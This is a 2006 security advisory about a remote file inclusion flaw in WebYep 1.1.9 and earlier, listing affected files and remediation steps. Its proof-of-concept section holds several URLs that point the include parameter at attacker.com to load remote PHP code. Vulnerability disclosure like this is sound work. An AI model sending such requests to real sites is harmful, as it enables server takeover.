WebYep <= 1.1.9 (webyep_sIncludePath) Multiple Remote File Inclusion Vulnerability

2006.10.12
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 5.1/10
Impact Subscore: 6.4/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

ECHO_ADV_48$2006 ------------------------------------------------------------------------ ----------------------- [ECHO_ADV_48$2006] WebYep <= 1.1.9 (webyep_sIncludePath) Multiple Remote File Inclusion Vulnerability ------------------------------------------------------------------------ ----------------------- Author : Dedi Dwianto a.k.a the_day Date Found : October, 05th 2006 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv48-theday-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : WebYep version : <=1.1.9 URL : http://www.obdev.at WebYep is a compact Web Content Management System for extremely simple creation of editable web pages. It is a low priced alternative for small to medium web sites ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~ In folder webyep-system/programm/lib found vulnerability script WYApplication.php ---------------------------WYApplication.php---------------------------- ----------- .... <? include_once("$webyep_sIncludePath/lib/WYApplication.php"); include_once("$webyep_sIncludePath/lib/WYHTMLTag.php"); ... ---------------------------------------------------------- Input passed to the "$webyep_sIncludePath" parameter in WYApplication.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. Also affected files on Files: webyep-system/programm/lib/WYApplication.php webyep-system/programm/lib/WYDocument.php webyep-system/programm/lib/WYEditor.php webyep-system/programm/lib/WYElement.php webyep-system/programm/lib/WYFile.php webyepasystem/programm/lib/WYHTMLTag.php webyep-system/programm/lib/WYImage.php webyep-system/programm/lib/WYLanguage.php webyep-system/programm/lib/WYLink.php webyep-system/programm/lib/WYPath.php webyep-system/programm/lib/WYPopupWindowLink.php webyep-system/programm/lib/WYSelectMenu.php webyep-system/programm/lib/WYTextArea.php webyep-system/programm/elements/WYGalleryElement.php webyep-system/programm/elements/WYGuestbookElement.php webyep-system/programm/elements/WYImageElement.php webyep-system/programm/elements/WYLogonButtonElement.php webyep-system/programm/elements/WYLongTextElement.php webyep-system/programm/elements/WYLoopElement.php webyep-system/programm/elements/WYMenuElement.php webyep-system/programm/elements/WYShortTextElement.php webyep-system/programm/webyep.php Proof Of Concept: ~~~~~~~~~~~~~~~ http://target.com/[webYep_path]/webyep-system/programm/lib/WYApplication .php?webyep_sIncludePath=http://attacker.com/inject.txt? http://target.com/[webYep_path]/webyep-system/programm/lib/WYDocument.ph p?webyep_sIncludePath=http://attacker.com/inject.txt? http://target.com/[webYep_path]/webyep-system/programm/webyep.php?webyep _sIncludePath=http://attacker.com/inject.txt? http://target.com/[webYep_path]/webyep-system/programm/elements/WYGaller yElement.php?webyep_sIncludePath=http://attacker.com/inject.txt? Solution: ~~~~~~~ - Sanitize variable $webyep_sIncludePath on affected files. - Turn off register_globals Timeline: ~~~~~~~ 05 - 10 - 2006 Bugs Found 05 - 10 - 2006 Vendor Contact 09 - 10 - Public Disclosure ------------------------------------------------------------------------ --- Shoutz: ~~~ ~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous ~ Jessy My Brain ~ az001,boom_3x,mathdule,angelia ~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ~ #aikmel - #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~ EcHo Research & Development Center the_day[at]echo[dot]or[dot]id -------------------------------- [ EOF ]----------------------------------


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